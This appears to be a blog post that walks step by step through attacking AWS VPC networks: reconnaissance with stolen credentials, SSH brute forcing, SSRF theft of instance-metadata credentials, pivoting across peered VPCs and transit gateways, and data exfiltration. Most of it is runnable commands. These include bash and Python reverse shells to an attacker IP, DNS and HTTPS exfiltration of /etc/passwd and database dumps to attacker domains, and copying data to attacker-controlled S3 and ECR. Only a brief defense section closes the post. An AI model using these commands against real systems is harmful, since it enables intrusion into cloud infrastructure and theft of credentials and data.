How Hackers Exploit AWS Private Networking: Practical VPC Attack Techniques and Exploitation Methods

Introduction

AWS Virtual Private Cloud (VPC) networking forms the backbone of cloud infrastructure security, providing isolated network environments for EC2 instances, databases, and applications. However, misconfigured VPC settings, security group rules, and network access controls create exploitable vulnerabilities that hackers systematically target. Understanding how attackers compromise AWS private networking is critical for cloud security professionals. This technical analysis demonstrates practical exploitation techniques used to breach VPC security, pivot between network segments, and exfiltrate sensitive data from supposedly isolated environments.

Understanding AWS VPC Network Architecture

AWS VPC networking consists of multiple security layers including Virtual Private Clouds providing isolated network spaces, subnets dividing VPCs into public and private segments, security groups acting as stateful firewalls for EC2 instances, Network ACLs providing stateless subnet-level filtering, route tables controlling traffic routing, Internet Gateways enabling public internet access, and NAT Gateways allowing outbound connectivity from private subnets.

Attackers exploit misconfigurations in any of these components to gain unauthorized network access, pivot between isolated environments, and bypass security controls designed to protect sensitive resources.

Phase 1: Initial VPC Reconnaissance and Mapping

Enumerating VPC Configuration with Compromised Credentials

After compromising AWS credentials through GitHub scanning, phishing, or SSRF attacks, hackers immediately enumerate VPC configurations to understand the network topology.

Practical Execution:

Configure compromised credentials:

aws configure --profile compromised
# Enter discovered Access Key ID and Secret Key

List all VPCs in the account:

aws ec2 describe-vpcs --profile compromised --output json

Output reveals VPC details:

{
  "Vpcs": [
    {
      "VpcId": "vpc-0a1b2c3d4e5f",
      "CidrBlock": "10.0.0.0/16",
      "State": "available",
      "Tags": [{"Key": "Name", "Value": "Production-VPC"}]
    }
  ]
}

Enumerate all subnets:

aws ec2 describe-subnets --profile compromised --filters "Name=vpc-id,Values=vpc-0a1b2c3d4e5f" --output json

This reveals public and private subnet configurations:

{
  "Subnets": [
    {
      "SubnetId": "subnet-abc123",
      "VpcId": "vpc-0a1b2c3d4e5f",
      "CidrBlock": "10.0.1.0/24",
      "MapPublicIpOnLaunch": true,
      "Tags": [{"Key": "Name", "Value": "Public-Subnet"}]
    },
    {
      "SubnetId": "subnet-def456",
      "CidrBlock": "10.0.2.0/24",
      "MapPublicIpOnLaunch": false,
      "Tags": [{"Key": "Name", "Value": "Private-DB-Subnet"}]
    }
  ]
}

Mapping Security Group Rules

Security groups control network traffic. Attackers enumerate rules to identify vulnerable configurations:

aws ec2 describe-security-groups --profile compromised --filters "Name=vpc-id,Values=vpc-0a1b2c3d4e5f" --output json

Critical findings include:

{
  "SecurityGroups": [
    {
      "GroupId": "sg-12345678",
      "GroupName": "web-servers",
      "IpPermissions": [
        {
          "IpProtocol": "tcp",
          "FromPort": 22,
          "ToPort": 22,
          "IpRanges": [{"CidrIp": "0.0.0.0/0"}]
        }
      ]
    }
  ]
}

This shows SSH (port 22) open to the entire internet, a critical vulnerability.

Identifying Running EC2 Instances

Enumerate all EC2 instances and their network configurations:

aws ec2 describe-instances --profile compromised --output json

Extract key information:

aws ec2 describe-instances --profile compromised --query 'Reservations[*].Instances[*].[InstanceId,PrivateIpAddress,PublicIpAddress,SecurityGroups[*].GroupId,SubnetId,State.Name]' --output table

This reveals which instances are publicly accessible and their security group assignments.

Phase 2: Exploiting Overly Permissive Security Groups

Attacking Internet-Facing Instances with Open Ports

When security groups allow access from 0.0.0.0/0, attackers directly connect to exposed services.

Scanning for vulnerable services:

Using Nmap to scan discovered public IPs:

nmap -sV -p- 54.123.45.67 -oN scan-results.txt

Common misconfigurations attackers exploit:

  • Port 22 (SSH) open to 0.0.0.0/0
  • Port 3389 (RDP) open to 0.0.0.0/0
  • Port 3306 (MySQL) exposed publicly
  • Port 5432 (PostgreSQL) accessible from internet
  • Port 6379 (Redis) without authentication
  • Port 27017 (MongoDB) publicly accessible

Brute Forcing SSH Access

For instances with SSH exposed, attackers launch brute force attacks:

hydra -L usernames.txt -P passwords.txt ssh://54.123.45.67 -t 4

Common default credentials tested:

  • ubuntu:ubuntu
  • ec2-user:ec2-user
  • admin:admin
  • root:toor

Using compromised credentials from previous breaches:

# Using credential stuffing list
hydra -C credentials.txt ssh://54.123.45.67

Exploiting Unpatched Services

Attackers scan for vulnerable service versions and exploit known CVEs:

# Check for vulnerable Elasticsearch
curl http://54.123.45.67:9200/_cat/indices

# Exploit Apache Struts vulnerability
python exploit-struts.py --url http://54.123.45.67:8080

Phase 3: EC2 Instance Metadata Service (IMDS) Exploitation

Accessing IAM Role Credentials via SSRF

When attackers compromise web applications running on EC2, they exploit Server-Side Request Forgery (SSRF) vulnerabilities to access the Instance Metadata Service.

Practical SSRF Exploitation:

Testing metadata endpoint through vulnerable parameter:

# Through vulnerable URL parameter
curl "https://target-app.com/fetch?url=http://169.254.169.254/latest/meta-data/"

Retrieving IAM role name:

curl "https://target-app.com/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"

Output shows:

EC2-Production-Role

Extracting temporary credentials:

curl "https://target-app.com/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/EC2-Production-Role"

Response contains:

{
  "AccessKeyId": "ASIA...",
  "SecretAccessKey": "...",
  "Token": "...",
  "Expiration": "2024-12-15T18:30:00Z"
}

Using Stolen Temporary Credentials

Configure AWS CLI with stolen credentials:

export AWS_ACCESS_KEY_ID="ASIA..."
export AWS_SECRET_ACCESS_KEY="..."
export AWS_SESSION_TOKEN="..."

aws sts get-caller-identity

Enumerate permissions:

# Test S3 access
aws s3 ls

# Test EC2 permissions
aws ec2 describe-instances

# Test RDS access
aws rds describe-db-instances

IMDSv1 vs IMDSv2 Exploitation

IMDSv1 allows direct HTTP GET requests, making SSRF exploitation trivial. IMDSv2 requires session tokens, but can still be exploited with advanced SSRF:

import requests

# Step 1: Get session token (requires PUT request)
token_url = "http://169.254.169.254/latest/api/token"
headers = {"X-aws-ec2-metadata-token-ttl-seconds": "21600"}

# Exploit SSRF that allows custom methods
token = requests.put(token_url, headers=headers).text

# Step 2: Use token to access metadata
metadata_url = "http://169.254.169.254/latest/meta-data/iam/security-credentials/"
headers = {"X-aws-ec2-metadata-token": token}

credentials = requests.get(metadata_url, headers=headers).text

Phase 4: VPC Peering and Inter-VPC Exploitation

Identifying VPC Peering Connections

Attackers enumerate VPC peering to find paths between supposedly isolated environments:

aws ec2 describe-vpc-peering-connections --profile compromised --output json

Output reveals:

{
  "VpcPeeringConnections": [
    {
      "VpcPeeringConnectionId": "pcx-1234567",
      "Status": {"Code": "active"},
      "RequesterVpcInfo": {
        "VpcId": "vpc-production",
        "CidrBlock": "10.0.0.0/16"
      },
      "AccepterVpcInfo": {
        "VpcId": "vpc-development",
        "CidrBlock": "10.1.0.0/16"
      }
    }
  ]
}

Pivoting Through VPC Peering

After compromising an instance in the production VPC, attackers pivot to the development VPC:

From compromised production instance:

# Scan development VPC CIDR range
nmap -sn 10.1.0.0/16

# Discover active hosts
nmap -p 22,3306,5432 10.1.0.0/24

Establish SSH tunnel for pivoting:

# On compromised production instance
ssh -D 8080 -N -f ec2-user@10.0.1.50

# Use SOCKS proxy to access development VPC
proxychains nmap -sV 10.1.0.100

Exploiting Transitive Routing Misconfiguration

VPC peering is non-transitive, but misconfigurations allow unintended routing. Attackers check route tables:

aws ec2 describe-route-tables --profile compromised --filters "Name=vpc-id,Values=vpc-0a1b2c3d4e5f"

If routes allow traffic between peered VPCs through an intermediate VPC, attackers exploit this for lateral movement.

Phase 5: Network ACL Bypass and Subnet Exploitation

Testing Network ACL Rules

Network ACLs provide subnet-level filtering. Attackers enumerate rules:

aws ec2 describe-network-acls --profile compromised --filters "Name=vpc-id,Values=vpc-0a1b2c3d4e5f" --output json

Identify permissive rules:

{
  "NetworkAcls": [
    {
      "NetworkAclId": "acl-12345",
      "Entries": [
        {
          "RuleNumber": 100,
          "Protocol": "-1",
          "RuleAction": "allow",
          "CidrBlock": "0.0.0.0/0"
        }
      ]
    }
  ]
}

This allows all traffic, providing no protection.

Exploiting Stateless NACL Configuration

Unlike security groups, NACLs are stateless. Misconfigured return traffic rules create exploitation opportunities:

# Egress rule blocks return traffic
# Attacker uses connectionless protocols like UDP

# Send DNS exfiltration
dig +short @attacker-dns.com $(cat /etc/passwd | base64).exfil.attacker.com

Phase 6: Private Subnet Exploitation via NAT Gateway

Identifying NAT Gateway Configuration

Private subnets use NAT Gateways for outbound connectivity. Attackers enumerate NAT configurations:

aws ec2 describe-nat-gateways --profile compromised --output json

Reverse Shell Through NAT Gateway

Even in private subnets without inbound internet access, instances can initiate outbound connections through NAT Gateways. Attackers exploit this for reverse shells.

After exploiting a vulnerability on private instance via SSRF or web shell:

# Bash reverse shell
bash -i >& /dev/tcp/attacker-ip/4444 0>&1

# Python reverse shell
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("attacker-ip",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Attacker listener:

nc -lvnp 4444

The connection traverses the NAT Gateway, bypassing inbound restrictions.

Phase 7: VPC Endpoint Exploitation

Identifying VPC Endpoints

VPC endpoints allow private connections to AWS services. Attackers enumerate endpoints:

aws ec2 describe-vpc-endpoints --profile compromised --output json

Output reveals:

{
  "VpcEndpoints": [
    {
      "VpcEndpointId": "vpce-12345",
      "ServiceName": "com.amazonaws.us-east-1.s3",
      "VpcId": "vpc-0a1b2c3d4e5f",
      "PolicyDocument": "{\"Statement\":[{\"Effect\":\"Allow\",\"Principal\":\"*\",\"Action\":\"s3:*\"}]}"
    }
  ]
}

Exploiting Overly Permissive Endpoint Policies

The wildcard principal allows any instance in the VPC to access S3 without authentication:

# From compromised instance in VPC
aws s3 ls --endpoint-url https://vpce-12345-abc.s3.us-east-1.vpce.amazonaws.com

Attackers access sensitive S3 buckets through the private endpoint, bypassing security controls.

Phase 8: Transit Gateway Exploitation

Enumerating Transit Gateway Attachments

Transit Gateways connect multiple VPCs. Attackers enumerate configurations:

aws ec2 describe-transit-gateways --profile compromised
aws ec2 describe-transit-gateway-attachments --profile compromised

This reveals all connected VPCs and routing configurations.

Lateral Movement Across Transit Gateway

From a compromised VPC attached to Transit Gateway, attackers scan other connected networks:

# From compromised instance
for subnet in 10.0.0.0/16 10.1.0.0/16 10.2.0.0/16; do
    nmap -sn $subnet
done

Exploit services in other VPCs:

# Access database in different VPC
psql -h 10.2.0.50 -U dbuser -d production

Phase 9: Data Exfiltration from Private Networks

DNS Tunneling for Covert Exfiltration

Attackers exfiltrate data through DNS queries, which are rarely blocked:

# Encode data and send via DNS
cat /etc/passwd | base64 | while read line; do
    dig @attacker-dns.com $line.exfil.attacker.com
done

HTTPS Tunneling via NAT Gateway

Establish encrypted tunnel for data exfiltration:

# On compromised private instance
curl -X POST https://attacker-c2.com/upload --data-binary @sensitive-database.sql

Using AWS Services for Exfiltration

Attackers leverage AWS services to exfiltrate data:

# Copy data to attacker-controlled S3 bucket
aws s3 cp /var/lib/mysql/backup.sql s3://attacker-bucket/stolen-data/

# Upload to attacker's ECR
aws ecr get-login-password | docker login --username AWS --password-stdin attacker-account.dkr.ecr.us-east-1.amazonaws.com
docker tag sensitive-app attacker-account.dkr.ecr.us-east-1.amazonaws.com/exfil:latest
docker push attacker-account.dkr.ecr.us-east-1.amazonaws.com/exfil:latest

Detection and Defense Strategies

Organizations detect VPC attacks through VPC Flow Logs monitoring unusual traffic patterns, GuardDuty detecting reconnaissance and anomalous API calls, CloudTrail tracking security group and NACL modifications, anomaly detection for data exfiltration via CloudWatch, and Security Hub aggregating security findings.

Implementing robust VPC security requires least privilege security group rules, disabling IMDSv1 and requiring IMDSv2, implementing private subnets for sensitive resources, using VPC endpoint policies with specific principals, enabling VPC Flow Logs for all VPCs, implementing network segmentation with multiple security layers, and regular security group audits.

Conclusion

AWS VPC exploitation involves systematically identifying misconfigurations in security groups, NACLs, routing, and access controls. Attackers leverage compromised credentials, SSRF vulnerabilities, and network pivoting to access private resources and exfiltrate sensitive data. Understanding these practical attack techniques enables security teams to implement defense-in-depth strategies, properly configure network security controls, and continuously monitor for suspicious activity. Effective VPC security requires combining preventive controls, detective mechanisms, and rapid incident response capabilities to protect cloud infrastructure from network-based attacks.

Comments

Popular posts from this blog

XML External Entity (XXE) Injection: Exploiting XML Parsers for Data Exfiltration and System Compromise

How Hackers Exploit Inadequate IAM: A Practical Step-by-Step Attack Walkthrough

SMTP Smuggling: smtp-smuggling-attack-bypass-spf-dkim-dmarc